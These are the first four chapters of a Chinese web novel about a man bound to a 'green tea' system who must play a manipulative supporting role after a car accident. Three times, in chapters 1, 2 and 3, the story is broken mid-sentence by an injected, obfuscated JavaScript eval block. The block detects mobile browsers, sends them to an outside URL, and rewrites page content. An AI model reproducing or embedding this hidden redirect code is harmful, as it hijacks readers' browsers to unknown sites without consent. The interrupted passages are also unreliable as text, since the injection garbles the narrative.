《你管这叫绿茶?》 1. 第 1 章 六月,正午的太阳像挂在天上的火炉,炙热的阳光晒在身上像火烤一般,晒得行人下意识往商铺的屋檐下钻,乘着阴凉走着。 贺真从便利店出来,手里捏着从冰柜中拿出还带着水汽的矿泉水,下意识遮在眼前挡了挡太阳,和旁边一个看着手机的年轻女孩一起等着红灯转绿。 那女孩戳着手机的力气很大,好像在和什么人聊天,脸上时不时露出气愤的表情。 贺真事不关己地拧开瓶盖,咕嘟咕嘟喝了小半瓶下去。 不知道那女孩说了什么,对面回了个电话过来,女孩接起来甚至没发现眼前是黄灯而不是绿灯,抬脚就往马路中间走去。 贺真看着正要朝他们这里驶来的车,快步走了上去想要带着女孩跑到街对面,刚把女孩推出去,还没松一口气时,就发现那车像长了眼睛一样跟着自己转了个弯,就这样朝着贺真撞了过来。 昏过去前,贺真好像听到一阵尖叫声,隐隐约约好像还有一句抱怨: 【啊啊啊啊啊啊啊怎么是个男的啊!】 贺真觉得自己像被扔进了滚筒洗衣机里,整个人脑子晕的不行。等他好不容易睁开眼,却发现自己正躺在一个沙发里,周围是一片白色的空间。 贺真揉着自己的太阳穴打量着这个医院不像医院,墓地不像墓地的地方,心里有些疑惑。 天堂? 贺真心里猜测着所有可能性,旁边却忽然凭空响起一阵电子音:“宿主你终于醒了!” 贺真顺着声音的来源向沙发下面看去,才发现那里趴着一只布偶猫,两只圆溜溜的眼睛正谄媚地看着自己。 从一只可爱的布偶猫脸上看到谄媚,贺真下意识把它从地上单手拎了起来提在半空:“你是什么东西?” 布偶猫尴尬地笑了两声,不确定贺真是不是在骂自己,岔开话题说:“这不重要。主要是系统本来想绑定的是你前面过马路的那个女孩,谁知道宿主刚好把她推开,系统就这么刚好地和宿主绑定了。” 系统欲哭无泪,它本来该绑定的是宿主前面那个女生的,谁知道宿主突然冲出来救人。救人也就算了,可宿主是个男的啊! 但事已至此,系统和贺真都已经绑定了,系统也只能哄着贺真去做任务,为此还特地幻化成人类喜欢的猫咪形象,听说人类都可吃这一套了! 系统说的话贺真一句都不信,就算系统变成猫也没放下防备,冷冷地说:“我下过反诈APP了。” 言下之意,你别想骗我。 幻化成布偶猫的系统站起来,两只前爪合十向贺真拜拜,真诚地说:“可是宿主原来那副身体因为救人遭遇车祸,现在正因为重伤躺在医院。如果宿主愿意做任务的话,攒够积分就可以重新拥有健康的身体了!” 贺真听到自己的现在身体状况下意识皱眉,听系统的意思,如果他放着系统不管,那他大概率会因为重伤真的上天堂。系统发现贺真似乎有些动摇,马上趁热打铁:“拜托宿主了,系统的任务真的很好做,宿主只要按照剧本来保证完成任务,赚够积分治疗宿主的身体!” 至于宿主的性别问题,系统咬咬牙,暗箱操作一下什么的也不是不可以,反正宿主还会赚积分,到时候拿来填补亏空就好。 贺真也不是真的想因为救人把自己的命搭进去,只是做个任务而已,只要不是伤天害理的事,贺真倒也无所谓。而且遇到。系统这种事被他遇上,贺真头疼的同时又觉得有些意思。 “做任务的事我答应了。你是什么系统?说出来我提前做好准备。”贺真松手,布偶猫扑腾了一下爪子掉在地上。贺真已经决定要做任务赚积分回去,这会也只是随口问了一句,结果系统却扭扭捏捏半天没开口。 系统的反应不对劲,贺真微微低头,逼问低头装猫的系统:“说。” 系统小小声,扭捏地说:“就是绿茶系统啦。” 贺真捏着布偶猫的后颈,从沙发上站了起来,一米九二的身高此时在系统空间里有些逼仄,声音带着些山雨欲来的阴沉:“你再说一遍,你是个什么系统?” ---------------- “元儿,你一大早就拉着我来机场,到底是要接谁啊?”盛俊文打了个哈欠,顶着一对黑眼圈看着他的发小卓鹭元。 卓鹭元是卓家的独苗苗,长相艳丽脾气火爆,盛俊文本来以为能让他亲自来接的人一定和他关系匪浅,谁知道卓鹭元也是一脸烦躁:“就贺家那个。” 贺家?所有姓贺的名字在盛俊文脑子里转了一圈,到底没找到和卓鹭元关系好的人。卓鹭元本来就不想提到那个名字,但奈何盛俊文不开窍,只好又提醒了一句:“小时候扎双马尾的那个小绿茶精,总跟在我屁.股后面跑到那个。” 双马尾,绿茶精,盛俊文双眼忽然睁大,瞬间不困了:“贺真真回来了?你早说是她啊!她不是早就跟着父母出国了吗,怎么突然回来了,还是你来接机?” “还不是我妈让我来的,要不然贺真真那性格你也知道,我要是不接她,信不信回去我们都落不了好。”卓鹭元看了一眼手表,这破飞机怎么还不落地。 想到小时候的日子,盛俊文也打了个冷颤。 贺真真是卓鹭元小时候的邻家小妹妹,就住在卓家隔壁。卓妈妈和贺妈妈是关系很好的手帕交,卓妈妈当初知道贺家因为生意要去国外的时候,还伤心了好一阵。 贺真真就是贺家的孩子,小时候总扎着双马尾跟在卓鹭元身后,哥哥长哥哥短的叫,长相十分可爱。 但这都是假象。 只要有人稍微和卓鹭元玩得好一点,贺真真就会很不开心地说些茶言茶语,被反驳了也不告状,眼泪就在眼眶里打着转,怎么也不掉下来,任谁看都是受了欺负的样子,卓鹭元每次都少不了被他老妈念叨两句。 不是没人想过和贺真真扯头花什么的,但架不住扯了头花回家还要挨揍,倒不是打不过,就是屁.股疼,于是久而久之也就没人招惹她和卓鹭元了。 盛俊文是个例外,他是缺心眼,根本没看出来贺真真绿茶。 想起贺真真小时候的样子,盛俊文倒真有点期待,那么一个漂亮可爱的小姑娘,现在长大了怎么也是个美人吧,贺母当年可是影后呢! 卓鹭元心烦,索性闭着眼睛补觉,还不忘叮嘱盛俊文:“你盯着点,一会人出来了喊我。” “好嘞!” 被两人惦记的美人“贺真真”这会还在飞机上,距离飞机落地大概还有四十分钟。 布偶猫仗着别人看不见,大喇喇地瘫在贺真怀里,不由得有些感慨,人类也太会享受了吧! 不仅能躺在床上看电影,连午餐都那么好吃,听说刚才宿主吃的鱼子酱都得两只手的价。布偶伸出两只前爪,学着人类张开自己的爪子,两只猫爪显然有点数不过来。 贺真还在想着任务的事,抓住狗系统的猫头问它:“我身份的事情搞定了?” 系统忙不迭点头:“嗯嗯,原剧情里绿茶女配的身份已经更改为男配,接下来宿主只要根据剧情完成绿茶戏份,等到男主女主在一起之后任务就结束啦!” 贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664981|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真穿着剪裁得体的西装,造型师为了搭配还给他配了一副装饰用的金丝眼镜,整个人看起来矜贵又优雅,系统也忍不住感叹:“宿主长得真好看,别说男配,当个男主也够了。” 贺真冷笑一声,一把捏住了系统的猫尾巴:“可惜我是个绿茶。” “醒醒,贺真真的航班好像落地了,我们去接人吧!”盛俊文叫醒卓鹭元,手里拿着什么东西,把卓鹭元摇醒后推着人去等贺真真过来。 卓鹭元起得太早,补觉补得困意又涌了上来,这会正睡眼蒙眬地揉着眼睛,自然也没注意到旁边盛俊文的动静。卓鹭元低头看了一眼老妈发来的航班信息,是这一班没错,可是贺真真人呢,怎么还没出来? 卓鹭元往前走了两步,却忽然被一个高大的男人挡住了去路。卓鹭元说了一句不好意思,再次想往旁边走的时候却又被他挡住了,顿时有些不爽:“先生这是要干什么?” 卓鹭元一米八五,眼前的男人却还高他半个头,此时半点没有要让开的意思,目光却从卓鹭元移到他身后的盛俊文身上。 准确地说是盛俊文手里用来接机的手持横幅,上面斗大的字写着:欢迎贺真真小妹妹回国。 卓鹭元察觉到不对,顺着贺真的目光看向刚才被盛俊文折起来的横幅,顿时想找个地缝钻进去。他就睡了四十分钟,盛俊文这缺心眼子从哪搞来的横幅! 盛俊文当然是靠着点钞能力啦,但下一秒就被卓鹭元抢走折好,把上面的字遮地严严实实,这种东西举起来他要社死了。 眼前的男人却没有要走的意思,卓鹭元不想和他耗时间,正想问他到底想干什么的时候,他突然说话了:“元元哥哥?” 被一个一米九的陌生男人叫了自己的小名,卓鹭元心下大骇,下意识后退两步:“你是谁,为什么这么叫我?” 系统在见到卓鹭元时兴奋地电子音就响起了:“宿主剧情来了!请把握机会!” 随着系统说完,贺真脑子里浮现出原本的剧情:【贺真真害羞地低下头,语气娇嗔,看着卓鹭元的眸子里带着三分哀怨:我出国这么久了,元元哥哥不记得我也正常,我是贺真真啊。】 卓鹭元怀疑地看着贺真,而贺真正在心里和系统讨价还价:“说台词可以,那些奇怪的动作和神态我拒绝。” 系统要是做得到不至于哄着贺真做任务了,只好和他赔笑:“等到宿主积分足够就可以选择只完成台词部分,辛苦宿主坚持一下。” 贺真忍着心中的羞耻,低下头把狰狞的表情藏起来,咬牙切齿地对卓鹭元说:“我出国这么久了,元元…哥哥不记得我也正常,我是贺真真啊。” 这是贺真真?!骗人的吧! 贺真真不是扎着双马尾的绿茶小姑娘吗,眼前这个一米九的猛男是谁啊! 卓鹭元和盛俊文对视一眼,谁也不肯接受这个事实。 卓鹭元沉浸在自己被一个假妹妹缠着,并且这个假妹妹现在可能掏出来比他还大的打击中回不过神来,盛俊文偷偷叫了他几遍都没有反应。 还是盛俊文先缓了过来,伸出手指颤颤巍巍的指着贺真问:“你不是小女孩吗,怎么会…” 听到积分进账的提示后,贺真在心里问系统:“那没有我剧情的地方怎么办?我该怎么回答他?” 系统也不知道,于是回了一句:“只要不偏离主线,宿主可以自由发挥。” 贺真指望不上系统,冷静地编了个借口:“我妈喜欢小女孩,小时候穿裙子逗她开心罢了。” “重新介绍一下,我是贺真。” 2. 第 2 章 盛俊文开着车,眼睛不时通过后视镜看着后座的贺真和卓鹭元。两个人坐得太远,中间像隔了个大峡谷似的。 卓鹭元还处在绿茶小妹变成猛男贺真的冲击中,想到小时候两个人的相处就觉得不真实,一时间找不到任何话题。 贺真状似悠哉地坐在后座闭目养神,其实是在心里逼问狗系统这个世界的剧情:“这个世界的故事给我完整地说一遍,越详细越好。你应该不希望我在每个人面前的说辞不一样吧?” 就比如今天卓鹭元和盛俊文问他怎么是个男人,他只能说是家长的恶趣味,也不知道系统帮他修正剧情没有。 系统对于任务还是看重的,于是在宿主的注视下给了宿主原本的剧情。 这个世界是一本经典的狗血文,主角是卓鹭元和祁琼音。作为男主的卓鹭元在一次和绿茶女配贺真真在餐厅吃饭时,偶遇被客人为难的祁琼音,出手帮忙解决了问题,成功获得了女主的感谢,也从此被绿茶女配记恨上了。 女主的母亲常年住院,所以女主不得不在空闲时间找兼职打工赚钱。从此之后呢,男主和女主总能在包括但不限于酒吧马场高尔夫场等地方偶遇,再加上女配的神助攻,两个人的感情逐渐升温。 直到卓家公司出现问题,卓父病倒,绿茶女配胁迫卓鹭元和自己订婚,不然不会帮忙卓家度过危机,男主无人帮忙只好答应。结果关键时刻女主发明了新的专利卖给了男主,帮助男主公司起死回生,两个人终于走到了一起。 而绿茶女配则像被人遗忘了一样黯然退场,听说后来家里破产,只好去餐厅当了服务员赚钱谋生,好巧不巧还是女主当过服务员的那一家,只是也没干多久,最后好像去捡垃圾了。 贺真听得奇怪,指着其中一行字问系统:“女主打这么多份工,还有心思谈恋爱?她不是要给母亲治病吗?” 而且女主打这么多份时间不冲突的兼职还没病倒,打工皇帝? 系统被贺真问得哑口无言,只好糊弄两句:“小说,小说而已。” 贺真还是不理解这种小说的逻辑,又指着倒数第二行问它:“那这里呢?女主靠着发明了新专利卖给男主,帮助男主的公司度过危机。我没记错的话女主还在读研究生,打这么多份工还有时间搞研究,你觉得合理吗?” 专利是大白菜,想要就能发明? 系统尴尬地笑了两声,它怎么知道,狗血文的设定他又不能改,只好变成猫哄着宿主:“剧情需要,剧情需要嘛,在这个穿越满地走,系统多如…猫的时代,只是个专利也没什么嘛。” 贺真瞥它一眼,不再言语。 卓鹭元沉默了好一会,看贺真没有半点要说话的意思,只好自己先打破沉默:“你住哪里?” 贺真看了一眼自己腿上的布偶猫,系统连忙回答:“剧情只在关键节点触发,其他时候宿主请自由发挥,个人资料已经发送到宿主大脑里了,宿主查收一下就可以看到了。” 贺真看着脑海里“贺真真”的资料,回答:“观澜雅苑那边。” 观澜雅苑是贺家出国前住的地方,隔壁就是卓鹭元家。贺家反正都要回国,贺妈妈和卓妈妈关系好,贺家索性又把当初卖掉的房子买了回来,两家人还能继续做邻居。 卓鹭元坐直了,有些惊讶地看着贺真:“你们把那房子买回来了?” 怪不得他最近好像看到隔壁有人搬家,但他没在意,原来是贺家买的房子,他老妈也不和他说一声。 卓鹭元让盛俊文从前座递了几张邀请函给他,拿给了贺真:“我家最近要办一个商业晚宴,我老妈让我给你和伯父伯母的。”卓妈妈想着让贺家人趁着这次晚宴露个面,趁机告诉大家他们回国的事,是个一举两得的好事。 贺真收下邀请函,对卓鹭元说了声谢谢:“多谢,我会告诉我父母的。” 贺真才从国外回来,估计还要休整几天,卓鹭元也没打扰,转身回了隔壁自己家里。 卓鹭元回来的时候,卓母正坐在客厅和卓父吃早饭,看到卓鹭元回来还向他招了招手:“元元回来啦,接到小贺了吗?” 卓鹭元今天起得早,没来得及吃早饭,于是坐在餐桌边夹了个虾饺送进嘴里,目光幽怨地看着自己老妈:“妈,你是不是忘记告诉我什么了。” 卓母有些疑惑:“应该没有吧?”给小贺接机而已,还有什么要交待的事吗? 虾饺很好吃,但这也不能弥补卓鹭元心里的打击:“你没告诉我贺真真…贺真是个男的。” 卓母一双美目瞪大,掩着脸不可思议地看着自己儿子,毫不客气地嘲笑卓鹭元:“哎哟,元元,你不知道他是男孩啊?小时候看你们玩得那么好,我还以为你知道呢!” 卓父也跟着笑了:“听说贺家当时一直想生个女儿,结果生下来是个儿子,他们夫妻俩就哄着小贺穿了一段时间裙子,我们还以为你知道这件事。” 贺家生贺真时摆了好几天的酒席,像卓家这样的生意伙伴都知道这件事,平时也没避讳着,结果就卓鹭元这个傻儿子不知道。 或许是卓鹭元幽怨的眼神太过明显,卓母又给他夹了一个虾饺,好声好气地哄着:“好啦,男孩就男孩嘛,平时又不碍着什么事。请柬你给小贺没有,他们来不来?” 卓鹭元态度软和下来,闻言点头:“给了,看贺真的意思他们应该会来。” 听到贺家他们会来,卓母也就放下心来,还叮嘱了卓鹭元几句:“小贺刚回国,估计对国内的情况还不太熟悉,你有空多带人家出门转转,公司的事有你爸操心。” 跟贺真有什么好玩的。 卓鹭元在心里吐槽,嘴上还是答应了下来,顺便向他爸伸出了手:“我要带贺真出去玩,给点零花钱。” 卓父瞪他一眼,不轻不重地说:“平时是短你吃穿还是少你分红了?二十多的人了也没个正形儿,还和你爸伸手要钱。”说归说,卓父还是掏了张卡给卓鹭元,卓鹭元笑嘻嘻地收下,嘴甜得不行:“谁让我爸帅气又会赚钱,我只好趁着年轻出去吃喝玩乐了。” 卓父瞥他一眼,端起面前的咖啡喝了一口,只是上扬的嘴角却出卖了他。卓母早知道卓父很吃自己儿子这一套,笑着看向卓鹭元:“就你嘴甜。行了,这两天给你放假,不过别忘了几天后的晚宴。” 卓鹭元无可无不可地应了一声,回到自己房间后才瞬间反应过来,他没有贺真的联系方式。 怎么办,去隔壁要一下吗? 隔壁别墅,贺真这会儿也有点为难地看着手机,低头问布偶猫:“怎么办?” 十分钟前,贺真刚踏进贺家大门,系统就发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664982|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布了新的剧情节点:【贺真真从相册里找到刚才偷拍卓鹭元侧脸的照片,怀着娇羞的心情,发了一条所有人可见的朋友圈:顺利回国。】 刚才坐在车上,卓鹭元话都没和他说几句,隔的还那么远,根本没机会拍照,也没加卓鹭元的联系方式,这会和系统两个人大眼瞪小眼。 贺真向系统确认:“这个所有人的范围里,必须包括卓鹭元吗?” 系统点点猫头:“是的,这是卓鹭元对绿茶女配好感下降的其中一个节点,所以宿主起码要有主角的联系方式。”至于照片,现在拍是来不及了。宿主完成了第一个剧情节点,现在有了点积分,系统准备看能不能生成一张。 贺真从没干过要别人联系方式的事,尤其对方还是个男人。 为了任务,贺真只好硬着头皮重新走向大门,准备去“偶遇”一下卓鹭元,顺便要一下他的绿泡泡。 贺家父母看见儿子回来,高兴的表情还没维持两秒就变成了疑惑:“阿真,你才刚回家,这又是要去哪?” 剧情没写,贺真随口胡诌:“刚才有东西落在车上了,回去找一下。” 贺真出了贺家大门,眺望系统标出离自家别墅有段距离的“隔壁”,没想到这一片别墅区还挺大,最终还是抬脚往卓鹭元家的方向走去。 观景雅苑这边的别墅区建的早,周围环境也不错,从附近绿植的修剪程度就能看得出很对得起高昂的物业费。贺真边走边拿出手机打开绿泡泡,删掉原本的昵称“真真超可爱”,想了想输了一个大写的“Z”,意思是贺真的“真”。 贺真看着手机低着头走路,没注意到耳边传来的咳嗽声,直到那人故意加大了咳嗽的声音,贺真才后知后觉地发现这声音有点耳熟,抬头一看,发现是卓鹭元。 卓鹭元看着贺真走路的方向,心里觉得有些奇怪:“你这是要去我家?”这个方向好像只有他家。 贺真点头:“刚才在车上忘记要你的联系方式了,所以想回去找你加一下,以后方便联系。” 卓鹭元听到贺真是想加他的联系方式,心里对贺真“大变活人”的别扭消散了许多,他这会出来也是为了同样的事。卓鹭元拿出手机打开自己的二维码,这可不是他一个人忘了这件事。 只是看到贺真的绿泡泡名字时,神情复杂地看向他:“你微信就叫这个?” 叫这个怎么了? 贺真低头看着刚才通过的验证申请,眼睛忽然睁大: 【您已成功添加Z的好友,现在可以开始聊天了。】 “你也叫Z?”两个人撞了名字,贺真率先解释:“Z,贺真的真。” 这很合理,于是卓鹭元也多嘴解释了一句:“卓鹭元的卓。” 贺真怕卓鹭元多想,加了联系方式以后就借口家里有事回去了。卓鹭元想起贺真真以前的绿茶行径,有些怀疑贺真目的的同时,又觉得事情都已经过去这么多年了,一直抓着不放好像也有些小气,于是也就没放在心上。 晚上,卓鹭元洗完澡后准备刷刷手机睡觉,就发现贺真发了一条新的朋友圈:顺利回国,配图还是自己在车上坐着的侧脸。 卓鹭元手一抖,不小心给这条朋友圈点了个赞,随即又马上取消,心里的鉴茶雷达嘀嘀作响。 贺真肯定是故意的! 3. 第 3 章 “你不是说要睡觉吗?干吗大半夜跑出来喝酒?”盛俊文打了个哈欠,今天大早上被卓鹭元拉起来接机,本来想早睡又被他拉出来喝酒,这会儿实在是提不起精神。 他这种夜猫子,只能熬夜不能早起的! 卓鹭元略带烦躁地点了杯酒一饮而尽,微醺的眸子看向盛俊文:“你说他到底是什么意思?” 盛俊文看他有了些醉意,夺过他的酒杯倒着扣住:“第五遍了,不就是和你撞了个名字,呃,然后发了条朋友圈嘛,也没什么吧……” 盛俊文的声音越来越小,说到最后连自己也有些不自信,小声问卓鹭元:“他不会真对你有意思吧?小时候他就只喜欢往你一个人身边凑,说不定长大以后也…” “绝对不可能!”卓鹭元说完以后发现自己声音大了些,又耐着性子压低声音说:“过几天就是晚宴,到时候你和我一起盯着点,看看他到底想干嘛。” 卓鹭元又点了两杯酒,看盛俊文不喝,自己又喝了一杯,另一杯盛俊文好说歹说才从他手里抢走:“我说你啊,酒量差就少喝点,再喝下去要醉了,到时候我还得送你回去。” 卓鹭元看着盛俊文从一个人变成两个,眼睛一闭趴下了。 盛俊文看着醉酒睡着的卓鹭元,暗叹自己命苦,只好认命地把人送回卓家,在卓家父母不赞同的眼神下讪讪离开。 卓母给卓鹭元用热毛巾擦了擦脸,盖好被子悄悄走出房门,有些不满地和卓父低声抱怨:“改天我得和阿凝好好说说,半夜出去喝酒多不好啊。” 阿凝是盛俊文老妈的名字,盛俊文背后一凉打了个喷嚏,感冒了? 肯定是晚上出来着凉了。 ---------------- 几天后就是卓家办的晚宴,圈子里不少人都如约出席,宴会大厅里很是热闹。 卓父和李总轻轻碰杯,李总看着不远处的卓鹭元,不由得夸赞道:“鹭元真是年轻有为啊,不像我家里那个不成器的,不闯祸就不错了。” 李总的儿子比卓鹭元小一些,听说前些天和别人打赌输了,愿赌服输剃了个光头,被李总揍了一顿,这会儿还蹲在家里闭门思过。 卓父显然也听说过李总的儿子,干笑两声后换了个话题:“今天贺家也会来。他们扎根海外这么多年,说不定这次回来还能和他们谈谈合作。” 李总笑呵呵地称是,他们这些人的生意都在国内,要是能借机和贺家搭上线打开国外市场,那就再好不过了。 像李总这样想法的人不在少数,明里暗里都在有意无意地往门口方向看去。 卓鹭元臭着一张脸躲在旁边和盛俊文吃小蛋糕。卓鹭元酒量太差,盛俊文把他酒杯里的红酒换成了葡萄汁,两个人正坐在沙发旁边吃边聊天。 “我躲在这也就算了,你家的宴会你也不去社交一下?”盛俊文叉起一块小蛋糕放进嘴里嚼着,看着躲懒的卓鹭元。 卓鹭元才不想去,和他们打交道下来要累死了:“有我爸呢,能躲则躲。”卓鹭元吃蛋糕不像盛俊文一样牛嚼牡丹,反而小口吃得很优雅,旁边几个女生看得移不开眼。 贺真跟在父母身后进来的时候,周围所有的目光都聚焦过来,看着他们一家三口。 卓父走上前来和贺父握手,语气熟稔:“这么多年不见,贺老哥还是一点没变。”卓父转身向周围宾客介绍:“诸位,这位是贺业明贺总,刚回国不久,还请各位多多照顾啊。” 贺业明拍了拍卓父的肩膀,端起酒杯和卓父碰了一下,感谢卓父替他引荐。 贺真端起酒杯,和前来打招呼的人碰了杯。贺真的视线看到卓鹭元在往自己这边看过来,于是端着酒杯向他们二人走了过来:“好久不见。” 卓鹭元端着葡萄汁和他碰了碰,抿了一口又放下,但还是被贺真发现了不对。贺真拿起卓鹭元的葡萄汁嗅了嗅,葡萄汁,卓鹭元倒是有意思。 贺真笑着把杯子放下,也没揭穿他:“这两天在忙公司的事,刚回国不太熟悉。” 卓鹭元因为那条朋友圈的关系,这两天也没怎么联系贺真,这会儿听到他的话有点心虚:“咳,这两天我也有点忙,没顾得上带你出去转转。” 贺真摇头表示不在意,他这两天确实有点忙,就算卓鹭元提出要带他出去,他估计也没时间。 剧情后期贺家会破产,贺真也不知道剧情节点具体会有什么要求,但现在看来基本只是有台词的时候会出场,其他时候基本都由贺真自由发挥。 没办法,绿茶女配都变男配了,系统只能降低自己的底线,完成台词部分就好。 贺真没坐多久就被贺父使了个眼色,叫过去和他一起认识其他人,一时脱不开身。 贺真脾气不错,但酒喝得多了难免有些疲倦,找了个借口去二楼休息。贺真站在露台边,晚风吹散了酒意,贺真下意识想点根烟,却反应过来这不是他的原世界,也没有他抽惯的烟,只好摩挲着手指放弃了。 在贺真休息的时候,身后忽然传来一阵高跟鞋的声音。贺真回头,发现来的是一个不认识的矮小女生,长得倒是很精致,和洋娃娃似的,此时正面色不善地看着自己:“你就是贺真真?” 系统及时出现,给了贺真提示:“这就是剧情里的女配二号,郑曦,宿主请小心应对哦!” 贺真还没说话,郑曦又自顾自地说道:“小时候你就喜欢缠着鹭元哥哥不放,好不容易出国,怎么又回来了。我警告你,别以为你长得又高又帅就可以让鹭元哥哥喜欢上你,鹭元哥哥是我的!” 贺真听得身上一阵难受,在心里问系统:“这个世界的女配说话风格都这么…奇怪吗?” 郑曦表情不爽地抬头盯着贺真,贺真不愿意和郑曦起冲突,直接顺着楼梯准备下楼。郑曦见他不理自己,跺了一下脚追了过来欲拉住贺真。 贺真刚想加快脚步,却听到了剧情节点上线的声音:【贺真真见郑曦追了过来,瞥见楼下卓鹭元看了过来,眼睛一转任由郑曦拉着自己,突然松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664983|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手后摔下楼梯,梨花带雨地告状,眼睛却看着卓鹭元:“郑曦姐姐你为什么推我?”】 这像话吗! 贺真想反驳这个毫无逻辑的剧情节点,却发现卓鹭元就快往楼上这边看过来了。为了积分,贺真脚下故意踩空,当着所有人都面从楼梯上摔了下来。 还没等贺真酝酿出眼泪,贺真后面就传来一声尖锐的哭声:“贺真真我要杀了你!” 贺真回头一看,心道不好。 原文里郑曦拉的是贺真真的手,但贺真高出郑曦许多,郑曦只拉到贺真的衣角,一个不小心被贺真一起带着摔了下来。 卓鹭元看着贺真和正在地上大哭的郑曦,有些不确定地问:“你们两个这是怎么了?” 贺真想到令人羞耻的台词,索性眼一闭心一横,低着头睫毛颤动,仿佛受了天大的委屈:“郑曦姐姐你为什么推我?” 嘶,周围宾客倒吸一口凉气,觉得周围好像无端飘过一阵茶香,似乎是绿茶的味道。 卓鹭元似乎也没理解贺真话中的意思,眨了眨眼才反应过来,不可置信地看着一米九二的贺真和一米五七的郑曦,神情恍惚地说:“你是说,是她把你从楼上推下去的?” 不仅卓鹭元不信,周围的宾客也不信。 郑曦和贺真比起来就像个小学生,她把贺真推下去,谁信呐? 郑曦坐在地上崩溃大哭,连准备扶她起来的人也被她一把推开:“你闭嘴,你这个死绿茶!我才没有推你!” 旁边一位穿着淡黄色鱼尾裙的女孩忍不住小声说:“他要是绿茶,那我是什么?” 卓鹭元下意识顺着那女孩的话看向贺真,这得是砖茶吧,力大砖飞的那一种。 郑曦不肯起来,嚷嚷着要她哥过来帮她作主:“我不管,我就要我哥来,我哥呢!” “曦曦,你怎么了,是谁欺负你!”一个年轻男人冲过来,想把郑曦从地上扶起来,郑曦却一个劲指着贺真说:“哥,就是他欺负我!你快帮我打他,快呀!” 卓鹭元看贺真一脸茫然,靠近贺真耳边小声解释:“那就是郑曦的哥哥,郑煦。名字虽然听起来温暖和煦,但生意场上可不手软。” 郑煦怒气冲冲地朝贺真走过去,抬起头却发现贺真比他还高,提起的拳头也下意识放下,但看到背后还在哭的郑曦,还是怒气冲冲地质问贺真:“你凭什么欺负我妹妹,你是个什么东西!” 卓鹭元作为主家,不好看着两人在这里起争执,只好硬着头皮上前打圆场:“刚才他们两个不小心从楼梯上摔了下来,郑曦摔下来的时候还拽着贺真的衣服,估计是贺真不小心踩空才摔倒的。” 卓鹭元示意贺真说话,贺真却皱着眉,眼神不断看向郑家两兄妹。 郑曦,郑煦,这两人名字里都有太阳,说话也是一样的心高气傲,就这么和太阳过不去? 想到刚才郑煦质问自己是什么人的话,贺真看着摔倒后还坐在地上的郑曦,脑子比嘴快,下意识脱口而出:“后羿。” 4. 第 4 章 卓鹭元没忍住笑出了声,看到郑煦看过来的眼神,急忙憋笑打着圆场:“今天是我卓家的晚宴,既然是意外,不如大家移步主厅,我让人开几瓶好酒给各位压惊。” 贺真立即顺着卓鹭元递的台阶下来,率先给郑曦道歉:“方才是我不小心踩空,抱歉。”本来就是他故意踩空,这会给小姑娘道个歉也是应当的。 郑曦得到了道歉,一抹眼泪拉住郑煦的手站了起来,哭得红肿的眼睛还在恶狠狠地瞪着贺真:“别以为道了歉我就会原谅你,鹭元哥哥是不会喜欢你的!” 二楼人少,刚才贺真和郑曦在二楼的争吵,准确说是郑曦单方面的输出,其实楼下的宾客听得不怎么真切,以为两人就是闹了点小矛盾。 现在郑曦这话一出来,周围人的眼神立即变得八卦起来。 嚯,卓鹭元和贺真可都是男人,郑曦居然说贺真喜欢卓鹭元? 有好事者想到了贺真前几天的朋友圈,拿出手机点开照片小声讨论:“你看这侧脸像不像卓鹭元?” 卓鹭元耳力好,听到宾客们的讨论脸上青一阵紫一阵的,对周围人露出个皮笑肉不笑的笑容,转身拉着脸对贺真说:“你和我过来。” 贺真感觉自己置身瓜田,而他就是被所有猹看着的那个大瓜,于是跟在卓鹭元身后进了一间休息室里,还贴心地关上了门。 门刚一关上,卓鹭元便双手插兜,冲贺真抬了抬下巴,一双好看的凤眼微微眯起,用略带质问的语气问贺真:“你那条朋友圈什么意思?” 贺真那条充满暗示的朋友圈很难让卓鹭元不多想,但又苦于系统的存在没办法说出真相。贺真靠在门边,整理出一个说辞:“很久没见,发条朋友圈庆祝一下而已,告诉大家我回来了。” “庆祝?”卓鹭元不相信贺真说的话,反而哼了一声:“既然是庆祝,为什么要用偷拍我的照片?你小时候缠着我的事我可没忘呢,你该不会真是gay吧?” 卓鹭元打小就觉得贺真真绿茶,就算他现在变成了男人也一样,还是那股熟悉的绿茶味。 “怎么可能,我……”贺真本来想说自己是个直男,可是刚准备说出口时系统就弹出来一个大大的警告,布偶猫急忙阻止贺真:“宿主不可以有任何不喜欢卓鹭元的表示,否则剧情就进行不下去了!” 虽然女配变成了男配,但剧情还是得继续。 贺真的话都到嘴边了,又被他硬生生转了个弯:“我本来应该是个直男。” 本来应该? 卓鹭元心中警铃大作,看着贺真不自觉后退一步。他从小就知道自己长得好,从幼儿园开始喜欢他的人就没有断过,长大以后和他表白的甚至男的女的都有,卓鹭元既要防男又要防女。 